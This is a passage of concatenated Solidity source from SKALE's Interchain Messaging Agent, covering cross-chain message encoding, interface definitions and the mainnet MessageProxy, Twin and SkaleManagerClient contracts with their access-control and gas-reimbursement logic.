MessageType.TRANSFER_ERC1155_AND_TOKEN_INFO, "Message type is not ERC1155AndTokenInfo transfer" ); return abi.decode(data, (TransferErc1155AndTokenInfoMessage)); } /** * @dev Encodes message for transferring ERC1155 token in batches. * Returns encoded message. */ function encodeTransferErc1155BatchMessage( address token, address receiver, uint256[] memory ids, uint256[] memory amounts ) internal pure returns (bytes memory) { TransferErc1155BatchMessage memory message = TransferErc1155BatchMessage( BaseMessage(MessageType.TRANSFER_ERC1155_BATCH), token, receiver, ids, amounts ); return abi.encode(message); } /** * @dev Decodes message for transferring ERC1155 token in batches. * Returns structure `TransferErc1155BatchMessage`. */ function decodeTransferErc1155BatchMessage( bytes calldata data ) internal pure returns (TransferErc1155BatchMessage memory) { require( getMessageType(data) == MessageType.TRANSFER_ERC1155_BATCH, "Message type is not ERC1155Batch transfer" ); return abi.decode(data, (TransferErc1155BatchMessage)); } /** * @dev Encodes message for transferring ERC1155 token in batches with token info. * Returns encoded message. */ function encodeTransferErc1155BatchAndTokenInfoMessage( address token, address receiver, uint256[] memory ids, uint256[] memory amounts, Erc1155TokenInfo memory tokenInfo ) internal pure returns (bytes memory) { TransferErc1155BatchAndTokenInfoMessage memory message = TransferErc1155BatchAndTokenInfoMessage( TransferErc1155BatchMessage( BaseMessage(MessageType.TRANSFER_ERC1155_BATCH_AND_TOKEN_INFO), token, receiver, ids, amounts ), tokenInfo ); return abi.encode(message); } /** * @dev Decodes message for transferring ERC1155 token in batches with token info. * Returns structure `TransferErc1155BatchAndTokenInfoMessage`. */ function decodeTransferErc1155BatchAndTokenInfoMessage( bytes calldata data ) internal pure returns (TransferErc1155BatchAndTokenInfoMessage memory) { require( getMessageType(data) == MessageType.TRANSFER_ERC1155_BATCH_AND_TOKEN_INFO, "Message type is not ERC1155BatchAndTokenInfo transfer" ); return abi.decode(data, (TransferErc1155BatchAndTokenInfoMessage)); } /** * @dev Encodes message for transferring user status on schain. * Returns encoded message. */ function _encodeUserStatusMessage(address receiver, bool isActive) private pure returns (bytes memory) { UserStatusMessage memory message = UserStatusMessage( BaseMessage(MessageType.USER_STATUS), receiver, isActive ); return abi.encode(message); } } // SPDX-License-Identifier: AGPL-3.0-only /** * IDepositBox.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Dmytro Stebaiev * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; import "@skalenetwork/skale-manager-interfaces/IContractManager.sol"; import "../IGasReimbursable.sol"; import "../IMessageReceiver.sol"; import "./ILinker.sol"; import "./IMessageProxyForMainnet.sol"; import "./ITwin.sol"; interface IDepositBox is ITwin, IMessageReceiver, IGasReimbursable { function initialize( IContractManager contractManagerOfSkaleManagerValue, ILinker newLinker, IMessageProxyForMainnet messageProxyValue ) external; function enableWhitelist(string memory schainName) external; function disableWhitelist(string memory schainName) external; function isWhitelisted(string memory schainName) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /* IContractManager.sol - SKALE Manager Interfaces Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaeiv SKALE Manager Interfaces is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager Interfaces is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; interface IContractManager { /** * @dev Emitted when contract is upgraded. */ event ContractUpgraded(string contractsName, address contractsAddress); function initialize() external; function setContractsAddress(string calldata contractsName, address newContractsAddress) external; function contracts(bytes32 nameHash) external view returns (address); function getDelegationPeriodManager() external view returns (address); function getBounty() external view returns (address); function getValidatorService() external view returns (address); function getTimeHelpers() external view returns (address); function getConstantsHolder() external view returns (address); function getSkaleToken() external view returns (address); function getTokenState() external view returns (address); function getPunisher() external view returns (address); function getContract(string calldata name) external view returns (address); } // SPDX-License-Identifier: AGPL-3.0-only /** * IGasReimbursable.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Artem Payvin * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; import "./IMessageReceiver.sol"; interface IGasReimbursable is IMessageReceiver { function gasPayer( bytes32 schainHash, address sender, bytes calldata data ) external returns (address); } // SPDX-License-Identifier: AGPL-3.0-only /** * IMessageReceiver.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Dmytro Stebaiev * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; interface IMessageReceiver { function postMessage( bytes32 schainHash, address sender, bytes calldata data ) external; } // SPDX-License-Identifier: AGPL-3.0-only /** * ILinker.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Dmytro Stebaiev * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; import "./ITwin.sol"; interface ILinker is ITwin { function registerMainnetContract(address newMainnetContract) external; function removeMainnetContract(address mainnetContract) external; function connectSchain(string calldata schainName, address[] calldata schainContracts) external; function kill(string calldata schainName) external; function disconnectSchain(string calldata schainName) external; function isNotKilled(bytes32 schainHash) external view returns (bool); function hasMainnetContract(address mainnetContract) external view returns (bool); function hasSchain(string calldata schainName) external view returns (bool connected); } // SPDX-License-Identifier: AGPL-3.0-only /** * IMessageProxyForMainnet.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Dmytro Stebaiev * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; import "../IMessageProxy.sol"; import "./ICommunityPool.sol"; interface IMessageProxyForMainnet is IMessageProxy { function setCommunityPool(ICommunityPool newCommunityPoolAddress) external; function setNewHeaderMessageGasCost(uint256 newHeaderMessageGasCost) external; function setNewMessageGasCost(uint256 newMessageGasCost) external; function messageInProgress() external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /** * ITwin.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Dmytro Stebaiev * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; import "./ISkaleManagerClient.sol"; interface ITwin is ISkaleManagerClient { function addSchainContract(string calldata schainName, address contractReceiver) external; function removeSchainContract(string calldata schainName) external; function hasSchainContract(string calldata schainName) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /** * ISkaleManagerClient.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Dmytro Stebaiev * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; import "@skalenetwork/skale-manager-interfaces/IContractManager.sol"; interface ISkaleManagerClient { function initialize(IContractManager newContractManagerOfSkaleManager) external; function isSchainOwner(address sender, bytes32 schainHash) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /** * IMessageProxy.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Dmytro Stebaiev * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; interface IMessageProxy { /** * @dev Structure that describes message. Should contain sender of message, * destination contract on schain that will receiver message, * data that contains all needed info about token or ETH. */ struct Message { address sender; address destinationContract; bytes data; } /** * @dev Structure that contains fields for bls signature. */ struct Signature { uint256[2] blsSignature; uint256 hashA; uint256 hashB; uint256 counter; } function addConnectedChain(string calldata schainName) external; function postIncomingMessages( string calldata fromSchainName, uint256 startingCounter, Message[] calldata messages, Signature calldata sign ) external; function setNewGasLimit(uint256 newGasLimit) external; function registerExtraContractForAll(address extraContract) external; function removeExtraContractForAll(address extraContract) external; function removeConnectedChain(string memory schainName) external; function postOutgoingMessage( bytes32 targetChainHash, address targetContract, bytes memory data ) external; function registerExtraContract(string memory chainName, address extraContract) external; function removeExtraContract(string memory schainName, address extraContract) external; function setVersion(string calldata newVersion) external; function isContractRegistered( bytes32 schainHash, address contractAddress ) external view returns (bool); function getContractRegisteredLength(bytes32 schainHash) external view returns (uint256); function getContractRegisteredRange( bytes32 schainHash, uint256 from, uint256 to ) external view returns (address[] memory); function getOutgoingMessagesCounter(string calldata targetSchainName) external view returns (uint256); function getIncomingMessagesCounter(string calldata fromSchainName) external view returns (uint256); function isConnectedChain(string memory schainName) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /** * ICommunityPool.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Dmytro Stebaiev * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; import "@skalenetwork/skale-manager-interfaces/IContractManager.sol"; import "./ILinker.sol"; import "./IMessageProxyForMainnet.sol"; import "./ITwin.sol"; interface ICommunityPool is ITwin { function initialize( IContractManager contractManagerOfSkaleManagerValue, ILinker linker, IMessageProxyForMainnet messageProxyValue ) external; function refundGasByUser(bytes32 schainHash, address payable node, address user, uint gas) external returns (uint); function rechargeUserWallet(string calldata schainName, address user) external payable; function withdrawFunds(string calldata schainName, uint amount) external; function setMinTransactionGas(uint newMinTransactionGas) external; function refundGasBySchainWallet( bytes32 schainHash, address payable node, uint gas ) external returns (bool); function getBalance(address user, string calldata schainName) external view returns (uint); function checkUserBalance(bytes32 schainHash, address receiver) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /** * Twin.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Artem Payvin * @author Dmytro Stebaiev * @author Vadim Yavorsky * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; import "@skalenetwork/ima-interfaces/mainnet/ITwin.sol"; import "./MessageProxyForMainnet.sol"; import "./SkaleManagerClient.sol"; /** * @title Twin * @dev Runs on Mainnet, * contains logic for connecting paired contracts on Mainnet and on Schain. */ abstract contract Twin is SkaleManagerClient, ITwin { IMessageProxyForMainnet public messageProxy; mapping(bytes32 => address) public schainLinks; bytes32 public constant LINKER_ROLE = keccak256("LINKER_ROLE"); /** * @dev Modifier for checking whether caller is MessageProxy contract. */ modifier onlyMessageProxy() { require(msg.sender == address(messageProxy), "Sender is not a MessageProxy"); _; } /** * @dev Binds a contract on mainnet with their twin on schain. * * Requirements: * * - `msg.sender` must be schain owner or has required role. * - SKALE chain must not already be added. * - Address of contract on schain must be non-zero. */ function addSchainContract(string calldata schainName, address contractReceiver) external override { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require( hasRole(LINKER_ROLE, msg.sender) || isSchainOwner(msg.sender, schainHash), "Not authorized caller" ); require(schainLinks[schainHash] == address(0), "SKALE chain is already set"); require(contractReceiver != address(0), "Incorrect address of contract receiver on Schain"); schainLinks[schainHash] = contractReceiver; } /** * @dev Removes connection with contract on schain. * * Requirements: * * - `msg.sender` must be schain owner or has required role. * - SKALE chain must already be set. */ function removeSchainContract(string calldata schainName) external override { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require( hasRole(LINKER_ROLE, msg.sender) || isSchainOwner(msg.sender, schainHash), "Not authorized caller" ); require(schainLinks[schainHash] != address(0), "SKALE chain is not set"); delete schainLinks[schainHash]; } /** * @dev Returns true if mainnet contract and schain contract are connected together for transferring messages. */ function hasSchainContract(string calldata schainName) external view override returns (bool) { return schainLinks[keccak256(abi.encodePacked(schainName))] != address(0); } function initialize( IContractManager contractManagerOfSkaleManagerValue, IMessageProxyForMainnet newMessageProxy ) public virtual initializer { SkaleManagerClient.initialize(contractManagerOfSkaleManagerValue); messageProxy = newMessageProxy; } } // SPDX-License-Identifier: AGPL-3.0-only /** * MessageProxyForMainnet.sol - SKALE Interchain Messaging Agent * Copyright (C) 2019-Present SKALE Labs * @author Artem Payvin * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@skalenetwork/skale-manager-interfaces/IWallets.sol"; import "@skalenetwork/skale-manager-interfaces/ISchains.sol"; import "@skalenetwork/ima-interfaces/mainnet/IMessageProxyForMainnet.sol"; import "@skalenetwork/ima-interfaces/mainnet/ICommunityPool.sol"; import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol"; import "../MessageProxy.sol"; import "./SkaleManagerClient.sol"; import "./CommunityPool.sol"; interface IMessageProxyForMainnetInitializeFunction is IMessageProxyForMainnet { function initializeAllRegisteredContracts( bytes32 schainHash, address[] calldata contracts ) external; } /** * @title Message Proxy for Mainnet * @dev Runs on Mainnet, contains functions to manage the incoming messages from * `targetSchainName` and outgoing messages to `fromSchainName`. Every SKALE chain with * IMA is therefore connected to MessageProxyForMainnet. * * Messages from SKALE chains are signed using BLS threshold signatures from the * nodes in the chain. Since Ethereum Mainnet has no BLS public key, mainnet * messages do not need to be signed. */ contract MessageProxyForMainnet is SkaleManagerClient, MessageProxy, IMessageProxyForMainnetInitializeFunction { using AddressUpgradeable for address; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; /** * 16 Agents * Synchronize time with time.nist.gov * Every agent checks if it is their time slot * Time slots are in increments of 10 seconds * At the start of their slot each agent: * For each connected schain: * Read incoming counter on the dst chain * Read outgoing counter on the src chain * Calculate the difference outgoing - incoming * Call postIncomingMessages function passing (un)signed message array * ID of this schain, Chain 0 represents ETH mainnet, */ ICommunityPool public communityPool; uint256 public headerMessageGasCost; uint256 public messageGasCost; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _registryContracts; string public version; bool public override messageInProgress; /** * @dev Emitted when gas cost for message header was changed. */ event GasCostMessageHeaderWasChanged( uint256 oldValue, uint256 newValue ); /** * @dev Emitted when gas cost for message was changed. */ event GasCostMessageWasChanged( uint256 oldValue, uint256 newValue ); /** * @dev Reentrancy guard for postIncomingMessages. */ modifier messageInProgressLocker() { require(!messageInProgress, "Message is in progress"); messageInProgress = true; _; messageInProgress = false; } /** * @dev Allows DEFAULT_ADMIN_ROLE to initialize registered contracts * Notice - this function will be executed only once during upgrade * * Requirements: * * `msg.sender` should have DEFAULT_ADMIN_ROLE */ function initializeAllRegisteredContracts( bytes32 schainHash, address[] calldata contracts ) external override { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Sender is not authorized"); for (uint256 i = 0; i < contracts.length; i++) { if ( deprecatedRegistryContracts[schainHash][contracts[i]] && !_registryContracts[schainHash].contains(contracts[i]) ) { _registryContracts[schainHash].add(contracts[i]); delete deprecatedRegistryContracts[schainHash][contracts[i]]; } } } /** * @dev Allows `msg.sender` to connect schain with MessageProxyOnMainnet for transferring messages. * * Requirements: * * - Schain name must not be `Mainnet`. */ function addConnectedChain(string calldata schainName) external override { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require(ISchainsInternal( contractManagerOfSkaleManager.getContract("SchainsInternal") ).isSchainExist(schainHash), "SKALE chain must exist"); _addConnectedChain(schainHash); } /** * @dev Allows owner of the contract to set CommunityPool address for gas reimbursement. * * Requirements: * * - `msg.sender` must be granted as DEFAULT_ADMIN_ROLE. * - Address of CommunityPool contract must not be null. */ function setCommunityPool(ICommunityPool newCommunityPoolAddress) external override { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not authorized caller"); require(address(newCommunityPoolAddress) != address(0), "CommunityPool address has to be set"); communityPool = newCommunityPoolAddress; } /** * @dev Allows `msg.sender` to register extra contract for being able to transfer messages from custom contracts. * * Requirements: * * - `msg.sender` must be granted as EXTRA_CONTRACT_REGISTRAR_ROLE. * - Schain name must not be `Mainnet`. */ function registerExtraContract(string memory schainName, address extraContract) external override { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require( hasRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender) || isSchainOwner(msg.sender, schainHash), "Not enough permissions to register extra contract" ); require(schainHash != MAINNET_HASH, "Schain hash can not be equal Mainnet"); _registerExtraContract(schainHash, extraContract); } /** * @dev Allows `msg.sender` to remove extra contract, * thus `extraContract` will no longer be available to transfer messages from mainnet to schain. * * Requirements: * * - `msg.sender` must be granted as EXTRA_CONTRACT_REGISTRAR_ROLE. * - Schain name must not be `Mainnet`. */ function removeExtraContract(string memory schainName, address extraContract) external override { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require( hasRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender) || isSchainOwner(msg.sender, schainHash), "Not enough permissions to register extra contract" ); require(schainHash != MAINNET_HASH, "Schain hash can not be equal Mainnet"); _removeExtraContract(schainHash, extraContract); } /** * @dev Posts incoming message from `fromSchainName`. * * Requirements: * * - `msg.sender` must be authorized caller. * - `fromSchainName` must be initialized. * - `startingCounter` must be equal to the chain's incoming message counter. * - If destination chain is Mainnet, message signature must be valid. */ function postIncomingMessages( string calldata fromSchainName, uint256 startingCounter, Message[] calldata messages, Signature calldata sign ) external override(IMessageProxy, MessageProxy) messageInProgressLocker { uint256 gasTotal = gasleft(); bytes32 fromSchainHash = keccak256(abi.encodePacked(fromSchainName)); require(_checkSchainBalance(fromSchainHash), "Schain wallet has not enough funds"); require(connectedChains[fromSchainHash].inited, "Chain is not initialized"); require(messages.length <= MESSAGES_LENGTH, "Too many messages"); require( startingCounter == connectedChains[fromSchainHash].incomingMessageCounter, "Starting counter is not equal to incoming message counter"); require(_verifyMessages( fromSchainName, _hashedArray(messages, startingCounter, fromSchainName), sign), "Signature is not verified"); uint additionalGasPerMessage = (gasTotal - gasleft() + headerMessageGasCost + messages.length * messageGasCost) / messages.length; uint notReimbursedGas = 0; connectedChains[fromSchainHash].incomingMessageCounter += messages.length; for (uint256 i = 0; i < messages.length; i++) { gasTotal = gasleft(); if (isContractRegistered(bytes32(0), messages[i].destinationContract)) { address receiver = _getGasPayer(fromSchainHash, messages[i], startingCounter + i); _callReceiverContract(fromSchainHash, messages[i], startingCounter + i); notReimbursedGas += communityPool.refundGasByUser( fromSchainHash, payable(msg.sender), receiver, gasTotal - gasleft() + additionalGasPerMessage ); } else { _callReceiverContract(fromSchainHash, messages[i], startingCounter + i); notReimbursedGas += gasTotal - gasleft() + additionalGasPerMessage; } } communityPool.refundGasBySchainWallet(fromSchainHash, payable(msg.sender), notReimbursedGas); } /** * @dev Sets headerMessageGasCost to a new value. * * Requirements: * * - `msg.sender` must be granted as CONSTANT_SETTER_ROLE. */ function setNewHeaderMessageGasCost(uint256 newHeaderMessageGasCost) external override onlyConstantSetter { emit GasCostMessageHeaderWasChanged(headerMessageGasCost, newHeaderMessageGasCost); headerMessageGasCost = newHeaderMessageGasCost; } /** * @dev Sets messageGasCost to a new value. * * Requirements: * * - `msg.sender` must be granted as CONSTANT_SETTER_ROLE. */ function setNewMessageGasCost(uint256 newMessageGasCost) external override onlyConstantSetter { emit GasCostMessageWasChanged(messageGasCost, newMessageGasCost); messageGasCost = newMessageGasCost; } /** * @dev Sets new version of contracts on mainnet * * Requirements: * * - `msg.sender` must be granted DEFAULT_ADMIN_ROLE. */ function setVersion(string calldata newVersion) external override { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "DEFAULT_ADMIN_ROLE is required"); emit VersionUpdated(version, newVersion); version = newVersion; } /** * @dev Creates a new MessageProxyForMainnet contract. */ function initialize(IContractManager contractManagerOfSkaleManagerValue) public virtual override initializer { SkaleManagerClient.initialize(contractManagerOfSkaleManagerValue); MessageProxy.initializeMessageProxy(1e6); headerMessageGasCost = 73800; messageGasCost = 9000; } /** * @dev Checks whether chain is currently connected. * * Note: Mainnet chain does not have a public key, and is implicitly * connected to MessageProxy. * * Requirements: * * - `schainName` must not be Mainnet. */ function isConnectedChain( string memory schainName ) public view override(IMessageProxy, MessageProxy) returns (bool) { require(keccak256(abi.encodePacked(schainName)) != MAINNET_HASH, "Schain id can not be equal Mainnet"); return super.isConnectedChain(schainName); } // private function _authorizeOutgoingMessageSender(bytes32 targetChainHash) internal view override { require( isContractRegistered(bytes32(0), msg.sender) || isContractRegistered(targetChainHash, msg.sender) || isSchainOwner(msg.sender, targetChainHash), "Sender contract is not registered" ); } /** * @dev Converts calldata structure to memory structure and checks * whether message BLS signature is valid. */ function _verifyMessages( string calldata fromSchainName, bytes32 hashedMessages, MessageProxyForMainnet.Signature calldata sign ) internal view returns (bool) { return ISchains( contractManagerOfSkaleManager.getContract("Schains") ).verifySchainSignature( sign.blsSignature[0], sign.blsSignature[1], hashedMessages, sign.counter, sign.hashA, sign.hashB, fromSchainName ); } /** * @dev Checks whether balance of schain wallet is sufficient for * for reimbursement custom message. */ function _checkSchainBalance(bytes32 schainHash) internal view returns (bool) { return IWallets( payable(contractManagerOfSkaleManager.getContract("Wallets")) ).getSchainBalance(schainHash) >= (MESSAGES_LENGTH + 1) * gasLimit * tx.gasprice; } /** * @dev Returns list of registered custom extra contracts. */ function _getRegistryContracts() internal view override returns (mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) storage) { return _registryContracts; } } // SPDX-License-Identifier: AGPL-3.0-only /** * SkaleManagerClient.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Artem Payvin * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@skalenetwork/skale-manager-interfaces/IContractManager.sol"; import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol"; import "@skalenetwork/ima-interfaces/mainnet/ISkaleManagerClient.sol"; /** * @title SkaleManagerClient - contract that knows ContractManager * and makes calls to SkaleManager contracts. */ contract SkaleManagerClient is Initializable, AccessControlEnumerableUpgradeable, ISkaleManagerClient { IContractManager public contractManagerOfSkaleManager; /** * @dev Modifier for checking whether caller is owner of SKALE chain. */ modifier onlySchainOwner(string memory schainName) { require( isSchainOwner(msg.sender, keccak256(abi.encodePacked(schainName))), "Sender is not an Schain owner" ); _; } /** * @dev initialize - sets current address of ContractManager of SkaleManager. * @param newContractManagerOfSkaleManager - current address of ContractManager of SkaleManager. */ function initialize( IContractManager newContractManagerOfSkaleManager ) public override virtual initializer { AccessControlEnumerableUpgradeable.__AccessControlEnumerable_init(); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); contractManagerOfSkaleManager = newContractManagerOfSkaleManager; } /** * @dev Checks whether sender is owner of SKALE chain */ function isSchainOwner(address sender, bytes32 schainHash) public view override returns (bool) { address skaleChainsInternal = contractManagerOfSkaleManager.getContract("SchainsInternal"); return ISchainsInternal(skaleChainsInternal).isOwnerAddress(sender, schainHash); } } // SPDX-License-Identifier: AGPL-3.0-only /* IWallets - SKALE Manager Interfaces Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaeiv SKALE Manager Interfaces is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager Interfaces is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; interface IWallets { /** * @dev Emitted when the validator wallet was funded */ event ValidatorWalletRecharged(address sponsor, uint amount, uint validatorId); /** * @dev Emitted when the schain wallet was funded */ event SchainWalletRecharged(address sponsor, uint amount, bytes32 schainHash); /** * @dev Emitted when the node received a refund from validator to its wallet */ event NodeRefundedByValidator(address node, uint validatorId, uint amount); /** * @dev Emitted when the node received a refund from schain to its wallet */ event NodeRefundedBySchain(address node, bytes32 schainHash, uint amount); /** * @dev Emitted when the validator withdrawn funds from validator wallet */ event WithdrawFromValidatorWallet(uint indexed validatorId, uint amount); /** * @dev Emitted when the schain owner withdrawn funds from schain wallet */ event WithdrawFromSchainWallet(bytes32 indexed schainHash, uint amount); receive() external payable; function refundGasByValidator(uint validatorId, address payable spender, uint spentGas) external; function refundGasByValidatorToSchain(uint validatorId, bytes32 schainHash) external; function refundGasBySchain(bytes32 schainId, address payable spender, uint spentGas, bool isDebt) external; function withdrawFundsFromSchainWallet(address payable schainOwner, bytes32 schainHash) external; function withdrawFundsFromValidatorWallet(uint amount) external; function rechargeValidatorWallet(uint validatorId) external payable; function rechargeSchainWallet(bytes32 schainId) external payable; function getSchainBalance(bytes32 schainHash) external view returns (uint); function getValidatorBalance(uint validatorId) external view returns (uint); } // SPDX-License-Identifier: AGPL-3.0-only /* ISchains.sol - SKALE Manager Interfaces Copyright (C) 